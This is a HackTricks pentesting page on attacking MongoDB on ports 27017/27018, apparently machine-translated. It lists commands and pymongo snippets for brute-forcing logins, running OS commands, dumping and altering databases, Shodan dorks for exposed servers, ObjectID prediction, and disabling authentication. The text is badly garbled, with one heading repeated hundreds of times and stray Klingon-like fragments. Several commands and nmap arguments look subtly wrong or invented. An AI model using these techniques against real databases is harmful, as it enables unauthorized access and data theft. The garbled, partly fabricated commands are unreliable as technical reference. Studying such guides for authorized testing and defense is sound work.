hacktricks/network-services-pentesting/27017-27018-mongodb.md
2024-02-10 17:52:19 +00:00

25 KiB
Raw Permalink Blame History

27017,27018 - Pentesting MongoDB

htARTE (HackTricks AWS Red Team Expert) !HackTricks!

Other ways to support HackTricks:

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Basic Information

MongoDB is an open source database management system that uses a document-oriented database model to handle diverse forms of data. It offers flexibility and scalability for managing unstructured or semi-structured data in applications like big data analytics and content management. Default port: 27017, 27018

PORT      STATE SERVICE VERSION
27017/tcp open  mongodb MongoDB 2.6.9 2.6.9

Enumeration

Manual

QaD

mongo command

mongo --host <IP> --port <PORT>

nmap script

nmap -p <PORT> --script mongodb-info <IP>

Automated

Metasploit module

use auxiliary/scanner/mongodb/mongodb_login

Nessus plugin

MongoDB Information

Exploitation

Unauthorized Access

mongo command
mongo --host <IP> --port <PORT> --username <USERNAME> --password <PASSWORD> --authenticationDatabase admin
pymongo library
from pymongo import MongoClient

client = MongoClient("<IP>", <PORT>)
db = client.admin
db.authenticate("<USERNAME>", "<PASSWORD>")
Metasploit module
use exploit/multi/mongodb/mongo_login
Nmap script
nmap -p <PORT> --script mongodb-brute --script-args 'mongodb-brute.username=<USERNAME>,mongodb-brute.password=<PASSWORD>' <IP>

Remote Code Execution

mongo command
mongo --host <IP> --port <PORT> --eval 'db.getSiblingDB("admin").runCommand({cmd: "system", args: ["<COMMAND>"]})'
pymongo library
from pymongo import MongoClient

client = MongoClient("<IP>", <PORT>)
db = client.admin
db.command('eval', 'db.getSiblingDB("admin").runCommand({cmd: "system", args: ["<COMMAND>"]})')
Metasploit module
use exploit/multi/mongodb/mongodb_cmd_exec
Nmap script
nmap -p <PORT> --script mongodb-database-stats --script-args 'mongodb-database-stats.command=<COMMAND>' <IP>

Data Exfiltration

mongo command
mongo --host <IP> --port <PORT> --eval 'db.getSiblingDB("admin").<COLLECTION>.find().forEach(printjson)'
pymongo library
from pymongo import MongoClient

client = MongoClient("<IP>", <PORT>)
db = client.admin
collection = db.<COLLECTION>
for document in collection.find():
    print(document)
Metasploit module
use auxiliary/scanner/mongodb/mongodb_dump
Nmap script
nmap -p <PORT> --script mongodb-dump --script-args 'mongodb-dump.collection=<COLLECTION>' <IP>

Database Manipulation

mongo command
mongo --host <IP> --port <PORT> --eval 'db.getSiblingDB("<DATABASE>").<COLLECTION>.<COMMAND>'
pymongo library
from pymongo import MongoClient

client = MongoClient("<IP>", <PORT>)
db = client.<DATABASE>
collection = db.<COLLECTION>
collection.<COMMAND>
Metasploit module
use auxiliary/admin/mongodb/mongodb_command
Nmap script
nmap -p <PORT> --script mongodb-database-stats --script-args 'mongodb-database-stats.command=<COMMAND>' <IP>

Database Dump

mongo command
mongodump --host <IP> --port <PORT> --out <DIRECTORY>
pymongo library
from pymongo import MongoClient
import subprocess

subprocess.call(["mongodump", "--host", "<IP>", "--port", "<PORT>", "--out", "<DIRECTORY>"])
Metasploit module
use auxiliary/scanner/mongodb/mongodb_dump
Nmap script
nmap -p <PORT> --script mongodb-dump --script-args 'mongodb-dump.directory=<DIRECTORY>' <IP>

Database Restore

mongo command
mongorestore --host <IP> --port <PORT> --dir <DIRECTORY>
pymongo library
from pymongo import MongoClient
import subprocess

subprocess.call(["mongorestore", "--host", "<IP>", "--port", "<PORT>", "--dir", "<DIRECTORY>"])
Metasploit module
use auxiliary/scanner/mongodb/mongodb_restore
Nmap script
nmap -p <PORT> --script mongodb-dump --script-args 'mongodb-dump.directory=<DIRECTORY>' <IP>
from pymongo import MongoClient
client = MongoClient(host, port, username=username, password=password)
client.server_info() #Basic info
#If you have admin access you can obtain more info
admin = client.admin
admin_info = admin.command("serverStatus")
cursor = client.list_databases()
for db in cursor:
print(db)
print(client[db["name"]].list_collection_names())
#If admin access, you could dump the database also

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

Some MongoDB commnads:

**Some

show dbs
use <db>
show collections
db.<collection>.find()  #Dump the collection
db.<collection>.count() #Number of records of the collection
db.current.find({"username":"admin"})  #Find in current db the username admin

QapDI'

Description

Automatic pentesting tools can be used to scan for vulnerabilities in MongoDB databases running on ports 27017 and 27018. These tools automate the process of identifying potential security weaknesses and can save time and effort during a penetration test.

Ngech

Automatic pentesting tools can be used to scan for vulnerabilities in MongoDB databases running on ports 27017 and 27018. These tools automate the process of identifying potential security weaknesses and can save time and effort during a penetration test.

nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mongo enumerate scripts are used

Shodan

  • bIng mongodb: "mongodb server information"
  • bIng vItlh mongodb server: "mongodb server information" -"partially enabled"
  • bIng vItlh partially enable auth: "mongodb server information" "partially enabled"

Login

mongo jatlh password chImej.
Admin mongo database vItlh 'oH.

mongo <HOST>
mongo <HOST>:<PORT>
mongo <HOST>:<PORT>/<DB>
mongo <database> -u <username> -p '<password>'

The nmap script: mongodb-brute will check if creds are needed.

Klingon Translation:

mongodb-brute nmap script: creds vItlhutlh.

nmap -n -sV --script mongodb-brute -p 27017 <ip>

Brute force

ghItlh/opt/bitnami/mongodb/mongodb.conf_ vItlhutlh credentials vItlhutlh:

grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed

Mongo Objectid Predict

Example from here.

Mongo Object IDs are 12-byte hexadecimal strings:

http://techidiocy.com/_id-objectid-in-mongodb/

For example, heres how we can dissect an actual Object ID returned by an application: 5f2459ac9fa6dc2500314019

  1. 5f2459ac: 1596217772 in decimal = Friday, 31 July 2020 17:49:32
  2. 9fa6dc: Machine Identifier
  3. 2500: Process ID
  4. 314019: An incremental counter

Of the above elements, machine identifier will remain the same for as long as the database is running the same physical/virtual machine. Process ID will only change if the MongoDB process is restarted. Timestamp will be updated every second. The only challenge in guessing Object IDs by simply incrementing the counter and timestamp values, is the fact that Mongo DB generates Object IDs and assigns Object IDs at a system level.

The tool https://github.com/andresriancho/mongo-objectid-predict, given a starting Object ID (you can create an account and get a starting ID), it sends back about 1000 probable Object IDs that could have possibly been assigned to the next objects, so you just need to bruteforce them.

Post

If you are root you can modify the mongodb.conf file so no credentials are needed (noauth = true) and login without credentials.


Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: